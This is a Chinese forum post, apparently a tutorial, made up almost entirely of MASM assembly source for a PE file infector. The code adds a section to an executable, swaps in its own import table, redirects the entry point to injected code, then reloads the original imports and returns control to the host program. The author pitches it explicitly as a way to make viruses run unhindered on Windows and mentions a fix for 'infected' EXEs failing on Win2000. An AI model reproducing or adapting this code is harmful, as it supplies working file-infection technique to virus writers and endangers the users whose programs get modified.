返回列表 发帖

PE引入表修改实战

这次教给大家的是,如何利用程序修改PE文件引入表,并且程序本身还可以自动装载原引入表。 什么?你不知道引入表是什么东东? 那你还是先去复习一下PE文件格式再来吧。 什么???你问我有什么用处? 用处当然不小,如果你喜欢做病毒的话,利用本文章讲述的方法,可以让你的病毒在WINDOWS下畅通无阻。 .386p .model flat,stdcall  include win32.inc  extrn MessageBoxA:proc  extrn Exitprocess:proc  extrn GetModuleHandleA:proc  extrn CreateFileA:proc  extrn SetFilePointer:proc  extrn Readfile:proc  extrn Writefile:proc  extrn CloseHandle:proc ;本程序中所用到的API函数的声明 ;------------------------------------(上面的)--  GENERIC_READ        equ 80000000h  GENERIC_WRITE        equ 40000000h  FILE_SHARE_READ       equ 1h  FILE_SHARE_WRITE      equ 2h  OPEN_EXISTING        equ 3  FILE_ATTRIBUTE_NORMAL    equ 80h  INVALID_HANDLE_value    equ -1  FILE_BEGIN         equ 0  FILE_CURRENT        equ 1  FILE_END          equ 2  FILE_ATTRIBUTE_ARCHIVE   equ 20h  PAGE_READWRITE       equ 4  FILE_MAP_WRITE       equ SECTION_MAP_WRITE  SECTION_MAP_WRITE      equ 0002h ; ;文件操作API函数所要用到的相关的常量声明 ;------------------------------------(上面的)--  IMAGE_NUMBEROF_DIRECTORY_ENTRIES equ 16  IMAGE_DATA_DIRECTORY STRUCT    VirtualAddress        dword ?    isize            dword ?  IMAGE_DATA_DIRECTORY ENDS  IMAGE_OPTIONAL_HEADER32 STRUCT    Magic            WORD ?    MajorLinkerVersion     BYTE ?    MinorLinkerVersion      BYTE ?    SizeOfCode          dword ?    SizeOfInitializedData    dword ?    SizeOfUninitializedData   dword ?    AddressOfEntryPoint     dword ?    BaseOfCode          dword ?    BaseOfData          dword ?    ImageBase          dword ?    SectionAlignment       dword ?    FileAlignment        dword ?    MajorOperatingSystemVersion WORD ?    MinorOperatingSystemVersion WORD ?    MajorImageVersion      WORD ?    MinorImageVersion      WORD ?    MajorSubsystemVersion    WORD ?    MinorSubsystemVersion    WORD ?    Win32Versionvalue      dword ?    SizeOfImage         dword ?    SizeOfHeaders        dword ?    CheckSum           dword ?    Subsystem          WORD ?    DllCharacteristics      WORD ?    SizeOfStackReserve      dword ?    SizeOfStackCommit      dword ?    SizeOfHeapReserve      dword ?    SizeOfHeapCommit       dword ?    LoaderFlags         dword ?    NumberOfRvaAndSizes     dword ?    DataDirectory IMAGE_DATA_DIRECTORY IMAGE_NUMBEROF_DIRECTORY_ENTRIES dup(<>)  IMAGE_OPTIONAL_HEADER32 ENDS  IMAGE_FILE_HEADER STRUCT    Machine       WORD ?    NumberOfSections   WORD ?    TimeDateStamp     dword ?    PointerToSymbolTable DWord ?    NumberOfSymbols    dword ?    SizeOfOptionalHeader WORD ?    Characteristics    WORD ?  IMAGE_FILE_HEADER ENDS  IMAGE_NT_HEADERS STRUCT    Signature       dword ?    FileHeader      IMAGE_FILE_HEADER <>    OptionalHeader    IMAGE_OPTIONAL_HEADER32 <>  IMAGE_NT_HEADERS ENDS ; PE文件结构的相关声明 ;------------------------------------(上面的)--  my_section struc    obj_name    db '.data',0,0,0 ; 块名    virt_size    dd 0 ; 块长    virt_addr    dd 0 ; 该块RVA地址    raw_size    dd 0 ; 该块物理长度    raw_offset   dd 0 ; 该块物理偏移    unused     dd 0,0,0 ; 未用    obj_flags    dd 0E0000020h ; 属性 (r/w/c/x)  my_section ends ; PE文件节的结构声明(有些值可以事先填好) ;------------------------------------(上面的)-- .data  buffer db "E:\masm32\vbin\a.exe",0 ; 调试时请修改上面这个文件名 ;------------------------------------(上面的)--  PE_head_addr    dd 0  checker_len     dd 0  PE_head       IMAGE_NT_HEADERS <0> ; PE文件头的结构  Section_table    db 280h dup (0)  Head_len      equ size PE_head+size Section_table ; PE文件头和块表的长度  Import_len     equ vImport_End-v_ImportA  new_section my_section <>  hFile      dd 0  now_in      dd 0  now_base     dd 0  now_basein    dd 0  byte_read    dd 0  Section_addr   dd 0  temp_virt_addr dd 0  temp_raw_size  dd 0  Err_Title    db "非法操作",0  ErrB_str     db "无法填加新节!",0  OK_Title     db "提示",0  OK_Msg      db "程序运行完毕!",0 ; 稍后要用到的一些变量 ;------------------------------------(上面的)-- .code  start:   call MakePe   call MessageBoxA,0,offset OK_Msg,offset OK_Title,64   call Exitprocess,0 ; 通过调用函数来操作吧 ;------------------------------------(上面的)-- ;------------------------------------------------- ; 下面这个函数,主要功能是填加一个新节、修改PE ; 头、导入自建的引入表、保存原引入表地址 ; 大部份内容在我的另一篇文章 ; <> ; 中已有说明,详情请见那一篇文章。 ; 在此只注释一下特别之处。 ;------------------------------------------------- MakePe proc uses edi esi eax ecx edx ebx   call CreateFileA,offset buffer,GENERIC_READ or GENERIC_WRITE, \            FILE_SHARE_READ or FILE_SHARE_WRITE, \            NULL,OPEN_EXISTING, \            FILE_ATTRIBUTE_NORMAL,NULL   .if eax!=INVALID_HANDLE_value     mov [hFile],eax     call SetFilePointer,[hFile],3ch,0,FILE_BEGIN     call ReadFile,[hFile],offset PE_head_addr,4,offset byte_read,0     .if eax!=0       call SetFilePointer,[hFile],[PE_head_addr],0,FILE_BEGIN       call ReadFile,[hFile],offset PE_head,Head_len,offset byte_read,0       push [PE_head.OptionalHeader.AddressOfEntryPoint]       pop [now_in]       push [PE_head.OptionalHeader.ImageBase]       pop [now_base]       ;--------------------------------------------       push [PE_head.OptionalHeader.ImageBase]       pop [BASE_RVA]       ;--------------------------------------------       mov eax,[now_in]       add eax,[now_base]       mov [now_basein],eax       mov [Src_addr],eax       movzx eax,[PE_head.FileHeader.SizeOfOptionalHeader]       add eax,18h       mov [Section_addr],eax       mov [checker_len],offset vend-offset vstart       movzx eax,[PE_head.FileHeader.NumberOfSections]       inc eax       mov ecx,28h       mul ecx       add eax,[Section_addr]       add eax,[PE_head_addr]       .if eax>[PE_head.OptionalHeader.SizeOfHeaders]         call MessageBoxA,0,offset ErrB_str,offset Err_Title,64        .else         mov esi,offset Section_table         ;----------------------------------------------         pushad         push esi         push ecx         movzx ecx,[PE_head.FileHeader.NumberOfSections]         loops:         .if ecx==0           jmp loopend         .endif         or [esi+24h],80000000h         add esi,28h         dec ecx         jmp loops         loopend:         pop ecx         pop esi         popad        ; 这篇文章的代码是从我的<>中提        ; 提出来的,那个软件需要读写PE中的某些节,因        ; 此我将所有节的属性全部改成符合条件的。        ; 在本程序中并没有并要做这一步,但还是留下吧。        ;------------------------------------(上面的)--         movzx eax,[PE_head.FileHeader.NumberOfSections]         mov ecx,28h         mul ecx         add esi,eax         inc [PE_head.FileHeader.NumberOfSections]         mov edi,offset new_section         xchg edi,esi         mov eax,[edi-28h+8]         add eax,[edi-28h+0ch]        ;--------------------------------------------------         mov [temp_virt_addr],eax ;存未对齐时的RVA        ; 保存此值稍后计算 SizeOfImage 值时会用到        ; 请看观留意下面的代码。        ;------------------------------------(上面的)--         mov ecx,[PE_head.OptionalHeader.SectionAlignment]         cdq         div ecx         test edx,edx         jz nextgoa         inc eax         nextgoa:         mul ecx         mov [new_section.virt_addr],eax        ;---------------------------------------------         mov eax,[PE_head.OptionalHeader.DataDirectory(8).VirtualAddress]         mov [MI_RVA],eax        ; 保存原引入表地址        ;------------------------------------(上面的)--         push 0         pop [PE_head.OptionalHeader.DataDirectory(88).VirtualAddress]        ; IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT清零        ; 此值必须清为0,否则Win2000中,程序无法正常        ; 运行。        ;------------------------------------(上面的)--         mov eax,v_ImportA-vstart         add eax,[new_section.virt_addr]         mov [PE_head.OptionalHeader.DataDirectory(8).VirtualAddress],eax         mov [PE_head.OptionalHeader.DataDirectory(8).isize],Import_len         add DWord ptr [v_ImportA],eax         add DWord ptr [v_DllNameA],eax         add DWord ptr [v_FThunkA],eax         add DWord ptr [Ker_API],eax         add DWord ptr [Ker_API+4],eax         add DWord ptr [Ker_API+8],eax         add DWord ptr [Ker_API+0Ch],eax         add DWord ptr [Ker_API+10h],eax         add DWord ptr [Ker_API+14h],eax         add DWord ptr [Ker_API+18h],eax         add DWord ptr [Ker_API+1Ch],eax         add DWord ptr [Ker_API+20h],eax         add DWord ptr [Ker_API+24h],eax         add DWord ptr [Ker_API+28h],eax         add DWord ptr [Ker_API+2Ch],eax         add DWord ptr [Ker_API+30h],eax         add DWord ptr [Ker_API+34h],eax         add DWord ptr [Ker_API+38h],eax         add DWord ptr [Ker_API+3ch],eax         add DWord ptr [Ker_API+40h],eax                  add DWord ptr [vGetprocAddress],eax         add DWord ptr [vGetModuleHandleA],eax         add DWord ptr [vLoadLibraryA],eax         add DWord ptr [vExitprocess],eax         add DWord ptr [vCreateFileA],eax         add DWord ptr [vCreateFileMappingA],eax         add DWord ptr [vGetTempPathA],eax         add DWord ptr [vGetTempFileNameA],eax         add DWord ptr [vlstrlen],eax         add DWord ptr [vMapViewOfFile],eax         add DWord ptr [vWriteFile],eax         add DWord ptr [vUnmapViewOfFile],eax         add DWord ptr [vCloseHandle],eax         add DWord ptr [vCopyFileA],eax         add DWord ptr [vGetModuleFileNameA],eax         add DWord ptr [vDeleteFileA],eax         add DWord ptr [vWinExec],eax         add DWord ptr [v_ImportB],eax         add DWord ptr [v_DllNameB],eax         add DWord ptr [v_FThunkB],eax         add DWord ptr [Use_API],eax         add DWord ptr [vMessageBoxA],eax        ; 往PE文件中导入自建的PE引入表的信息        ; 将引入表中相关地址进行定位        ;------------------------------------(上面的)--         mov eax,[checker_len]        ;--------------------------------------------------         mov [temp_raw_size],eax ;存未对齐时的物理大小        ; 保存此值稍后计算 SizeOfImage 值时会用到        ; 请看观留意下面的代码。        ;------------------------------------(上面的)--         mov ecx,[PE_head.OptionalHeader.FileAlignment]         div ecx         test edx,edx         jz nextgob         inc eax         nextgob:         mul ecx         mov [new_section.raw_size],eax                  mov eax,[checker_len]         mov ecx,[PE_head.OptionalHeader.SectionAlignment]         div ecx         test edx,edx         jz nextgoc         inc eax         nextgoc:         mul ecx         mov [new_section.virt_size],eax         mov eax,[edi-28h+14h]         add eax,[edi-28h+10h]         mov [new_section.raw_offset],eax        ;-------------------------------------------------------         mov eax,[new_section.virt_addr]         add eax,[temp_raw_size]         mov ecx,[PE_head.OptionalHeader.SectionAlignment]         div ecx         test edx,edx         jz nextgod         inc eax         nextgod:         mul ecx         mov [PE_head.OptionalHeader.SizeOfImage],eax        ; 计算SizeOfImage。        ; 在上篇文章中,有人曾经提到,利用上一篇文章的        ; 代码在Win2000中感染的EXE文件无法执行,原因是        ; 因为Win2000对PE文件要求非常严,稍有不对的地        ; 方,就无法执行,就像这个地方,在计算SizeOfImage        ; 时要将两个未对齐的数相加后再对齐,然后存入        ; SizeOfImage才可以在98/2000下一路通。        ; 上篇文章是将两个数对齐后相加再对齐,虽然在98        ; 下没问题,但是在2000下却提示:非法EXE文件        ;------------------------------------(上面的)--         mov ecx,28h         rep movsb         mov eax,[new_section.virt_addr]         mov [PE_head.OptionalHeader.AddressOfEntryPoint],eax         call SetFilePointer,[hFile],[PE_head_addr],0,FILE_BEGIN         call WriteFile,[hFile],offset PE_head,Head_len,offset byte_read,0         call SetFilePointer,[hFile],[new_section.raw_offset],0,FILE_BEGIN         mov eax,offset vstart         call WriteFile,[hFile],eax,[new_section.raw_size],offset                  byte_read,0         call CloseHandle,[hFile]         push 0         pop [hFile]       .endif     .endif   .endif   mov eax,0   .if [hFile]!=eax     call CloseHandle,[hFile]   .endif   ret MakePe endp .data  vstart:   call nowstart  nowstart:   pop ebp   sub ebp,offset nowstart  ;--------------------------------------------   lea eax,[WelComeTitle+ebp]   push 64   push eax   lea eax,[WelComeMsg+ebp]   push eax   push 0   call [vMessageBoxA+ebp]  ;  ; 本代码对EXE文件操作后,只显示一个对话框  ;------------------------------------(上面的)--   mov edx,[BASE_RVA+ebp] ;通过预先保存的基址和IMPORT地址   mov esi,[MI_RVA+ebp]  ;得到当前IMPORT地址   add esi,edx  Next_DLL:   mov eax,[esi+0ch] ;读取DLL文件模块   or eax,eax   jz Dll_END   add eax,edx   mov ebx,eax   push eax   call [vGetModuleHandleA+ebp]   or eax,eax   jnz Dll_LOADED   push ebx   call [vLoadLibraryA+ebp]   or eax,eax   jnz Dll_LOADED  Exit_LOADER:   lea eax,[MI_ERR_TITLE+ebp]   push 64   push eax   lea eax,[MI_ERR_TEXTS+ebp]   push eax   push 0   call [vMessageBoxA+ebp]   push 0   call [vExitprocess+ebp]  Dll_LOADED:   mov [hDll+ebp],eax     ;保存模块句柄   mov [FunTable_Count+ebp],0 ;函数表的索引 两个地址之间相隔一个双字  Next_FUNCTION:   mov edx,[BASE_RVA+ebp]   mov eax,[esi]   or eax,eax   jnz Hint_OK   mov eax,[esi+10h]  Hint_OK:   add eax,edx   add eax,[FunTable_Count+ebp]   mov ebx,[eax]  ;;;;;;   mov edi,[esi+10h]   add edi,edx   add edi,[FunTable_Count+ebp]  ;;;;;;   test ebx,ebx   jz Function_END   test ebx,80000000h   jnz Function_ORDINAL   add ebx,edx   add ebx,2   jmp Function_GOON  Function_ORDINAL:   and ebx,0FFFFFFFh  Function_GOON:   push ebx   push DWord ptr [hDll+ebp]   call [vGetprocAddress+ebp]   or eax,eax   jz Exit_LOADER   mov [edi],eax   add [FunTable_Count+ebp],4   jmp Next_FUNCTION  Function_END:   add esi,14h   mov edx,[BASE_RVA+ebp]   jmp Next_DLL  Dll_END:  ; 程序自已导入原引入表  ; 大体介绍一下原理吧,先看看当前函数所在的  ; DLL文件是否已在内存中,不是就载入。  ; 继而再得到函数的地址,保存之。  ; 以前我在编写此处时用SoftICE调试了很长时间  ; 建议你也用SoftICE或TRW2000等类似工具调试  ; 一下,会受益非浅的。  ;------------------------------------(上面的)--  mov eax,[Src_addr+ebp]  jmp eax  align 4   v_ImportA  dd Ker_API-v_ImportA      ;IMAGE_THUNK_DATA 数组指针   v_TimeDateA dd 0              ;文件建立时间   v_ForChainA dd 0              ;0   v_DllNameA dd KerName-v_ImportA      ;DLL名称   v_FThunkA  dd vGetprocAddress-v_ImportA  ;IMAGE_THUNK_DATA 数组指针   v_ImportB  dd Use_API-v_ImportA      ;IMAGE_THUNK_DATA 数组指针   v_TimeDateB dd 0              ;文件建立时间   v_ForChainB dd 0              ;0   v_DllNameB dd UserName-v_ImportA      ;DLL名称   v_FThunkB  dd vMessageBoxA-v_ImportA    ;IMAGE_THUNK_DATA 数组指针         dd 20 dup (0)          ;引入表结束符   KerName db 'KERNEL32.DLL',0   Ker_API dd KAPI_A-v_ImportA       dd KAPI_B-v_ImportA       dd KAPI_C-v_ImportA       dd KAPI_D-v_ImportA       dd KAPI_E-v_ImportA       dd KAPI_F-v_ImportA       dd KAPI_G-v_ImportA       dd KAPI_H-v_ImportA       dd KAPI_I-v_ImportA       dd KAPI_J-v_ImportA       dd KAPI_K-v_ImportA       dd KAPI_L-v_ImportA       dd KAPI_M-v_ImportA       dd KAPI_N-v_ImportA       dd KAPI_O-v_ImportA       dd KAPI_P-v_ImportA       dd KAPI_Q-v_ImportA       dd 0   UserName db 'USER32.DLL',0   Use_API dd UAPI_A-v_ImportA       dd 0   vGetprocAddress   dd 0   vGetModuleHandleA  dd 0   vLoadLibraryA    dd 0   vExitprocess     dd 0   vCreateFileA     dd 0   vCreateFileMappingA dd 0   vGetTempPathA    dd 0   vGetTempFileNameA  dd 0   vlstrlen       dd 0   vMapViewOfFile    dd 0   vWriteFile      dd 0   vUnmapViewOfFile   dd 0   vCloseHandle     dd 0   vCopyFileA      dd 0   vGetModuleFileNameA dd 0   vDeleteFileA     dd 0   vWinExec       dd 0   vMessageBoxA dd 0          dd 0   KAPI_A db 0,0,'GetprocAddress',0   KAPI_B db 0,0,'GetModuleHandleA',0   KAPI_C db 0,0,'LoadLibraryA',0   KAPI_D db 0,0,'Exitprocess',0   KAPI_E db 0,0,'CreateFileA',0   KAPI_F db 0,0,'CreateFileMappingA',0   KAPI_G db 0,0,'GetTempPathA',0   KAPI_H db 0,0,'GetTempFileNameA',0   KAPI_I db 0,0,'lstrlen',0   KAPI_J db 0,0,'MapViewOfFile',0   KAPI_K db 0,0,'WriteFile',0   KAPI_L db 0,0,'UnmapViewOfFile',0   KAPI_M db 0,0,'CloseHandle',0   KAPI_N db 0,0,'CopyFileA',0   KAPI_O db 0,0,'GetModuleFileNameA',0   KAPI_P db 0,0,'DeleteFileA',0   KAPI_Q db 0,0,'WinExec',0   UAPI_A db 0,0,'MessageBoxA',0  ; 根据引入表的格式,自建的引入表。  ;------------------------------------(上面的)--  align 4  vImport_End:  ;----------------------------   MI_RVA     dd 0   BASE_RVA    dd 0   hDll dd 0   FunTable_Count dd 0 ;函数表中的索引   MI_ERR_TITLE  db "系统错误!",0   MI_ERR_TEXTS  db "资源无法装入,请与软件供应商联系!",0  ;----------------------------   Src_addr    dd 0   WelComeMsg   db '欢迎光临我的网站 Http://www.vbin.org',0   WelComeTitle  db '彬 (vBin) 欢迎您!',0  ; 相关变量  ;------------------------------------(上面的)-- vend:  end start

返回列表 回复 发帖